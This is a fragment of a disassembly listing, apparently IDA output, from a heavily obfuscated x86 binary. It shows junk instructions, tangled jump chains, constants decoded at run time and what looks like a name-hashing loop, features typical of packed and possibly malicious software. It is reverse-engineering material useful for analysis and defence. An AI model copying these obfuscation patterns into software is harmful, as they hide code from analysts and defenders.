sub_40800E	proc near		; CODE XREF: _837l4vi2:0040EEE6p

; FUNCTION CHUNK AT 00407DA4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040A609 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		jnz	loc_407DA4
		jmp	loc_40FC3E
sub_40800E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40801D:				; CODE XREF: _837l4vi2:0040ACBDj
		sub	ecx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_40801F	proc near		; CODE XREF: sub_4089C5+3p

; FUNCTION CHUNK AT 004059A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E2C5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00410122 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410302 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00410309 SIZE 0000001F BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_40E2C5
sub_40801F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_408034:				; CODE XREF: _837l4vi2:0040EE0Bj
		mov	edx, [ebx]
		sbb	ecx, eax
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_408038:				; CODE XREF: sub_407FEA+2107j
		rol	esi, 11h
		xchg	ecx, edx
		jmp	loc_40AA60
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------


loc_408042:				; DATA XREF: sub_40EAE8+2o
		push	edi
		push	edx
		mov	[esp], ebx
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_408047:				; CODE XREF: sub_4103D0-6A4Cj
		pushf
		mov	[esp+0], ecx
		push	offset sub_40E302
		jmp	loc_40FF84
; END OF FUNCTION CHUNK	FOR sub_4103D0

; =============== S U B	R O U T	I N E =======================================



sub_408055	proc near		; CODE XREF: _837l4vi2:004094BAj
					; sub_405CBC:loc_40F581p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00407D88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408AB4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040CF25 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040EA2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410D70 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_40D84E
		cmp	eax, [ebp-8]
		jmp	loc_407D88
sub_408055	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_40806E:				; CODE XREF: sub_40E236-6B04j
		push	0A0EBCC59h
		jmp	loc_40AE83
; END OF FUNCTION CHUNK	FOR sub_40E236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_408078:				; CODE XREF: sub_40833D:loc_40A1DCj
		adc	edi, 0C8ABAADh
		pop	ebp
		jb	loc_4099B7
		and	eax, ebp
		jmp	loc_408632
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40808C:				; CODE XREF: sub_40AA44:loc_407929j
					; sub_411059-1263j
		jl	loc_4068FE
; END OF FUNCTION CHUNK	FOR sub_40AA44
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_408092:				; CODE XREF: sub_41045F-816Bj
		jmp	loc_4092FF
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
		rol	ebp, 18h
		xor	ebp, 65E92D9Bh
		jmp	loc_4068F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_4080A5:				; CODE XREF: sub_409E44+51CFj
		mov	eax, [ebp-0Ch]
		mov	ecx, 3F1h
		xor	edx, edx
		div	ecx
		call	sub_40F141
; END OF FUNCTION CHUNK	FOR sub_409E44
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_4080B6:				; CODE XREF: sub_40AA44+43BCj
		jmp	loc_4073FF
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D263


loc_4080BB:				; CODE XREF: sub_40D263:loc_406226j
		jnz	loc_40DABD
		jmp	loc_409BE2
; END OF FUNCTION CHUNK	FOR sub_40D263
; ---------------------------------------------------------------------------


loc_4080C6:				; CODE XREF: _837l4vi2:0040FA51j
		mov	edx, 64EB3FC6h
		mov	edi, [ecx]
		sbb	eax, 0EFE15D0Bh
		cdq


loc_4080D4:				; CODE XREF: _837l4vi2:0040FA3Fj
		xor	eax, 0CCD77F6Eh
		jmp	loc_41078B
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx]


loc_4080E1:				; CODE XREF: _837l4vi2:loc_40ACA0j
		or	edx, esi
		jmp	sub_40C90B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_4080E9:				; CODE XREF: sub_408F1B+7E33j
		jmp	loc_40910B
; END OF FUNCTION CHUNK	FOR sub_408F1B
; ---------------------------------------------------------------------------


loc_4080EE:				; CODE XREF: _837l4vi2:00408CECj
		jmp	loc_406856
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_4080F6:				; CODE XREF: _837l4vi2:loc_405CB4j
		push	eax
		push	ecx
		jmp	loc_40AFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D1EC


loc_4080FD:				; CODE XREF: sub_40D1EC+11j
		push	3DFD3FE6h
		pop	edi
		rol	edi, 1Dh
		add	edi, 3880E6FEh
		xchg	edi, [esp+70h+var_70]
		jmp	loc_405B44
; END OF FUNCTION CHUNK	FOR sub_40D1EC
; ---------------------------------------------------------------------------
		push	offset sub_40D2A8
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40811E:				; CODE XREF: _837l4vi2:0040B3F9j
		or	eax, ebx
		pop	edi
		sbb	ebx, 7045BF01h
; START	OF FUNCTION CHUNK FOR sub_40AC43


loc_408127:				; CODE XREF: sub_40AC43:loc_40B3ECj
		add	esi, 0D440A8CDh
		xchg	esi, [esp+8+var_8]
		jmp	sub_409926
; END OF FUNCTION CHUNK	FOR sub_40AC43
; ---------------------------------------------------------------------------


loc_408135:				; CODE XREF: _837l4vi2:0040C2DFj
		jg	loc_405883

; =============== S U B	R O U T	I N E =======================================



sub_40813B	proc near		; CODE XREF: sub_409D32+34Cp

; FUNCTION CHUNK AT 0040720E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D5CF SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_407AA4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_40720E
sub_40813B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_408150:				; CODE XREF: sub_4065B8+10j
		xor	eax, 35DFAFFCh
		xchg	eax, [esp+0]


loc_408159:				; CODE XREF: _837l4vi2:loc_40C38Bj
		lea	eax, [ebp-10h]
		call	sub_40AC43


loc_408161:				; CODE XREF: sub_405BB4+5736j
		jmp	loc_405999
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------


loc_408166:				; CODE XREF: _837l4vi2:loc_40B70Fj
		pop	edx
		push	offset loc_4102BA
		jmp	loc_406B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_408171:				; CODE XREF: sub_405C17+3j
		xchg	ebp, edx
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_4065A0
		or	eax, eax
		jmp	loc_405DE0
; END OF FUNCTION CHUNK	FOR sub_405C17

; =============== S U B	R O U T	I N E =======================================



sub_408186	proc near		; CODE XREF: sub_4061B1+66Ep
					; _837l4vi2:0040EC71j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004106AE SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		push	66DFA8B2h
		pop	esi
		and	esi, 19D318B9h
		add	esi, 0FF6DF28Eh
		xchg	esi, [esp-4+arg_0]
		jmp	loc_4106AE
sub_408186	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shr	esi, 10h
		adc	eax, edx
		jmp	sub_407918
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410862


loc_4081AF:				; CODE XREF: sub_410862+13j
		jmp	loc_4082F9
; END OF FUNCTION CHUNK	FOR sub_410862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C255


loc_4081B4:				; CODE XREF: sub_40C255+45CEj
		jmp	loc_406D2A
; END OF FUNCTION CHUNK	FOR sub_40C255
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_4081B9:				; CODE XREF: sub_407FEA-2B86j
		push	eax
		pushf
		call	sub_408A93
; END OF FUNCTION CHUNK	FOR sub_407FEA
; START	OF FUNCTION CHUNK FOR sub_40D306


loc_4081C0:				; CODE XREF: sub_40D306+185Fj
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_40D306
; ---------------------------------------------------------------------------


loc_4081C5:				; CODE XREF: _837l4vi2:0040BE4Dj
		jnz	loc_4065FF
		jmp	loc_40FEB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_4081D0:				; CODE XREF: sub_408F1B+BAEj
		add	esi, 0A7C9AC60h
		popf
		xchg	esi, [esp-4+arg_0]
		push	edx
		pushf
		jmp	loc_405342
; END OF FUNCTION CHUNK	FOR sub_408F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_4081E1:				; CODE XREF: sub_406834+Ej
		call	sub_40EE1E


loc_4081E6:				; CODE XREF: _837l4vi2:00405A24j
		jmp	loc_40A1A8
; END OF FUNCTION CHUNK	FOR sub_406834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_4081EB:				; CODE XREF: sub_40C805+Bj
		jnz	loc_407869
		jmp	loc_406B20
; END OF FUNCTION CHUNK	FOR sub_40C805
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407918


loc_4081F6:				; CODE XREF: sub_407918:loc_407924j
		jge	loc_409008
		popf
		sbb	ecx, 0E7DD116Ch
		jmp	loc_408FFC
; END OF FUNCTION CHUNK	FOR sub_407918
; ---------------------------------------------------------------------------


loc_408208:				; CODE XREF: _837l4vi2:loc_407973j
		pop	ecx
		jmp	loc_4102EF
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xchg	ebx, esi
		push	esi
		jmp	loc_40FF22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_408219:				; CODE XREF: sub_40D735:loc_4095B3j
		jnz	loc_4063FB
		jmp	loc_40FAA6
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_408224:				; CODE XREF: sub_40C5BE+D08j
		jnz	loc_407737
		jmp	loc_410972
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBC2


loc_40822F:				; CODE XREF: sub_40CBC2:loc_407D33j
		cmp	dword ptr [ebp-0Ch], 5
		jnz	loc_408240
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
; END OF FUNCTION CHUNK	FOR sub_40CBC2
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_408240:				; CODE XREF: sub_40CBC2-498Fj
					; sub_405BB4:loc_409788j ...
		jb	loc_40EB80
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_40FA82
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40848F


loc_408255:				; CODE XREF: sub_40848F-AABj
		rol	eax, 1Bh
		mov	ds:dword_40B61C, eax
		retn
; ---------------------------------------------------------------------------


loc_40825F:				; CODE XREF: sub_40848F-AC8j
		ror	eax, 1Bh
		push	eax
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_40848F
; ---------------------------------------------------------------------------


loc_408268:				; CODE XREF: _837l4vi2:0040F346j
		or	ecx, ebx
		cmp	ebp, eax
		jmp	loc_40F8BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_408271:				; CODE XREF: sub_410E1F:loc_4077A1j
					; sub_410E1F-91E7j
		call	sub_40B088
		mov	edx, 95918C9Dh
		call	sub_40E739
		push	eax
		jmp	loc_40D8C8
; END OF FUNCTION CHUNK	FOR sub_410E1F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_408287:				; CODE XREF: sub_40B859+2FB0j
		jmp	loc_41010B
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------


loc_40828C:				; CODE XREF: _837l4vi2:00408119j
		jmp	locret_40F75D
; ---------------------------------------------------------------------------


loc_408291:				; CODE XREF: _837l4vi2:0040F2D6j
		jz	loc_40CF86
		mov	edx, 0BEA6AEBh
		rol	esi, 1Eh
		test	ecx, edx
		jmp	loc_40CF80
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_4082A7:				; CODE XREF: sub_40D7F5+A6Cj
		jmp	loc_40944F
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_4082AC:				; CODE XREF: sub_40C3AF:loc_410A98j
		cmp	dword ptr [ebp-8], 0
		jz	loc_406CD7
		jmp	loc_40B13A
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------


loc_4082BB:				; DATA XREF: sub_40EE2D+8o
		add	edx, edi
		rol	edx, 5
		jb	loc_40B495
		xor	edx, ebp
		rol	edx, 5
		add	edx, esp
		jmp	loc_406235
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_4082D2:				; CODE XREF: sub_40C1F0:loc_408CC6j
		jnz	loc_40CF62
		jmp	loc_410776
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_4082DD:				; CODE XREF: _837l4vi2:0040796Cj
		test	esi, edi
		jmp	loc_40A86B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_4082E5:				; CODE XREF: sub_41045F:loc_410699j
		pop	eax
		mov	eax, ds:dword_40D418
		or	eax, eax
		jnz	loc_40B144
		jmp	loc_408092
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410862


loc_4082F9:				; CODE XREF: sub_410862:loc_4081AFj
		pop	ecx
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_410862
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_4082FD:				; CODE XREF: _837l4vi2:loc_40A2C6j
					; sub_40966E+1A3Fj ...
		js	loc_406AF4
		test	byte ptr [ebp-7], 8
		call	sub_40DAE3


loc_40830C:				; CODE XREF: sub_405BB4-113j
		jmp	loc_40ED32
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_408311:				; CODE XREF: sub_40989E-1FF6j
		lea	eax, [ebp-18h]
		mov	dword ptr [eax], 6C43776Fh
		lea	eax, [ebp-14h]
		push	offset sub_40C3AF
		jmp	loc_40F0CC
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_408327:				; CODE XREF: sub_40D735+237Bj
		mov	edi, ebp
		jmp	loc_4063FB
; ---------------------------------------------------------------------------


loc_40832E:				; CODE XREF: sub_40D735:loc_405D9Dj
		cmp	dword ptr [ebp-4], 5
		jnz	loc_4063FB
		jmp	loc_40E869
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_40833D	proc near		; CODE XREF: sub_40E739:loc_40539Ap
					; _837l4vi2:00410645j

var_130		= dword	ptr -130h
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405363 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040566F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004056FC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00405B0F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0040622B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00406670 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004071B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407BEB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407E5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408078 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004083EF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00408632 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00408842 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409250 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409378 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004099B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409B88 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00409F1E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040A144 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A1DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AD81 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B582 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B991 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C87D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C944 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D6C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E6FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EAD3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040EDBD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040EE80 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040EF6C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004109A9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00410FB2 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	esp, 0FFFFFED8h


loc_408347:				; CODE XREF: _837l4vi2:0040CCBCj
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		jmp	loc_40B582
sub_40833D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_408352:				; CODE XREF: sub_4053DD+404j
		shl	edx, 15h
		jmp	loc_40C5CE
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4052A5


loc_40835A:				; CODE XREF: sub_4052A5+192Ej
		jl	sub_40966E
; END OF FUNCTION CHUNK	FOR sub_4052A5
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_408360:				; CODE XREF: _837l4vi2:0040CAEDj
					; sub_40966E+5568j
		rol	edi, 17h
		jmp	loc_40F6E7
; END OF FUNCTION CHUNK	FOR sub_40966E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_408369:				; CODE XREF: sub_40966E-4331j
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: _837l4vi2:0040FEB9j
		test	esi, ebx
		jmp	loc_4065F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_408375:				; CODE XREF: sub_40601E+7C67j
		sbb	ebp, 0F404D5A4h
		or	eax, edi
		adc	esi, 21F0F509h
		shl	ecx, 1Fh
		jmp	loc_410C57
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40838B:				; CODE XREF: sub_40D735-7330j
					; sub_40D735-4A17j ...
		jno	loc_406341
		cmp	dword ptr [ebp-4], 7
		jnz	loc_409545
		jmp	loc_410937
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		sbb	esi, edi
		jmp	sub_40D242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_4083A7:				; CODE XREF: sub_408736:loc_40A206j
					; sub_408736+4845j
		push	485D70B8h
		pop	eax
		add	eax, 80C2E56Fh
		xor	eax, 151E58D8h
		add	eax, 23C1F201h
		call	sub_40C4A5
		mov	ds:dword_40AB9C, eax
		call	sub_407E61
		jmp	loc_40FBFA
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
		ror	ebp, 1Dh
		jmp	loc_4105A2
; ---------------------------------------------------------------------------


loc_4083DB:				; CODE XREF: _837l4vi2:loc_406528j
		add	ebx, 94A9BA3Bh
		xchg	ebx, [esp]
		jmp	nullsub_9
; ---------------------------------------------------------------------------
		popf
		jmp	sub_40F5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_4083EF:				; CODE XREF: sub_40833D+325Cj
		mov	[edi], esi
		cdq
		xchg	edi, eax


loc_4083F4:				; CODE XREF: sub_40CEC1:loc_407BA4j
		lea	eax, [ebp-2BBh]
		jmp	loc_4071B1
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_4083FF:				; CODE XREF: sub_40AE2D+1BDDj
		push	76659107h
		pop	eax
		rol	eax, 8
		add	eax, 9AAFA43Fh
		xchg	eax, [esp+4+var_4]
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEB5


loc_408417:				; CODE XREF: sub_40CEB5+92Cj
		jmp	loc_407DDC
; END OF FUNCTION CHUNK	FOR sub_40CEB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_40841C:				; CODE XREF: sub_40E6CD-1908j
		jmp	loc_410001
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7A1


loc_408421:				; CODE XREF: sub_40B7A1+Ej
		jmp	nullsub_41
; END OF FUNCTION CHUNK	FOR sub_40B7A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_408426:				; CODE XREF: sub_40D735-3937j
		jmp	loc_40C573
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB62


loc_40842B:				; CODE XREF: sub_40AB62-311Aj
		jmp	sub_405752
; END OF FUNCTION CHUNK	FOR sub_40AB62
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_408431:				; CODE XREF: _837l4vi2:004107A0j
		jmp	loc_40B8DC
; ---------------------------------------------------------------------------


loc_408436:				; CODE XREF: _837l4vi2:0040E719j
		jmp	loc_405657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40843B:				; CODE XREF: sub_405D62+2235j
		jmp	loc_405806
; END OF FUNCTION CHUNK	FOR sub_405D62

; =============== S U B	R O U T	I N E =======================================



sub_408440	proc near		; DATA XREF: _837l4vi2:0041054Ao

arg_8		= dword	ptr  0Ch

		or	edx, 12DB6516h
		sub	edx, ecx
		pop	edx
		pop	ebx
		pop	eax
		xchg	esi, [esp-0Ch+arg_8]
		mov	ecx, esi
		pop	esi
		jmp	loc_40EF67
sub_408440	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405E3F


loc_408457:				; CODE XREF: sub_405E3F+3600j
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_405E3F
; ---------------------------------------------------------------------------


loc_40845C:				; CODE XREF: _837l4vi2:0040B8D7j
		xchg	ebp, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_40845E	proc near		; CODE XREF: _837l4vi2:00408E41p

; FUNCTION CHUNK AT 0040CFDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F387 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FBD0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040FF89 SIZE 00000003 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		sub	ecx, edx
		shl	eax, 8
		not	eax
		jmp	loc_40F387
sub_40845E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ecx
		push	ebp
		mov	eax, (offset locret_40654F+1)
		push	0FB5860BBh
		pop	edx
		rol	edx, 0Ch
		or	edx, ds:4000CAh
		cmp	edx, 106958C7h
		jmp	loc_40C049

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40848F	proc near		; CODE XREF: sub_4073DEp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004079BF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00408255 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C497 SIZE 00000005 BYTES

		xchg	ebp, [esp+4+var_4]
		mov	ebp, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_40C497
sub_40848F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408CD1


loc_4084A0:				; CODE XREF: sub_408CD1:loc_408CD6j
		jge	loc_40C6EA
		or	ebx, 0CB59AFB0h
		xchg	ebx, edi
		jmp	loc_40C6D8
; END OF FUNCTION CHUNK	FOR sub_408CD1
; ---------------------------------------------------------------------------


loc_4084B3:				; CODE XREF: _837l4vi2:0040EE6Aj
		jg	loc_40758D
		xor	eax, 0DD112D90h
		jmp	sub_411059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B8AE


loc_4084C4:				; CODE XREF: sub_40B8AE+398Aj
		sbb	ebp, 0BB1FA1FAh
		jp	loc_40DB54
		mov	[ebx], eax
		add	edi, ecx
; END OF FUNCTION CHUNK	FOR sub_40B8AE
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_4084D4:				; CODE XREF: sub_409D6B+4F74j
		jmp	loc_407AE8
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_4084D9:				; CODE XREF: sub_405C17-68j
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 6
		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_409473
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------


loc_4084F3:				; CODE XREF: _837l4vi2:loc_40ED7Bj
		cmp	edx, 0E93F40FEh
		jmp	loc_408BF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_4084FE:				; CODE XREF: sub_4103D0-6A40j
		add	ebp, 0E20414Bh


loc_408504:				; CODE XREF: sub_4103D0:loc_405D4Cj
		call	sub_405606
		push	12B1D04Dh
		pop	edx
		add	edx, 830909Bh
		jmp	loc_40C230
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40851A:				; CODE XREF: sub_405950:loc_407312j
		xchg	ecx, [edx]
		mov	[esi], edi
		and	ecx, edx
		or	ebp, eax
		jmp	loc_40ED9C
; END OF FUNCTION CHUNK	FOR sub_405950

; =============== S U B	R O U T	I N E =======================================



sub_408527	proc near		; DATA XREF: sub_40B859-3EB7o

; FUNCTION CHUNK AT 00405ACF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004065A9 SIZE 0000000F BYTES

		shr	edx, 3
		mov	ecx, ds:dword_40AB9C
		or	[ecx+edx], al
		mov	ecx, [ebp-18h]
		jmp	loc_405ACF
sub_408527	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
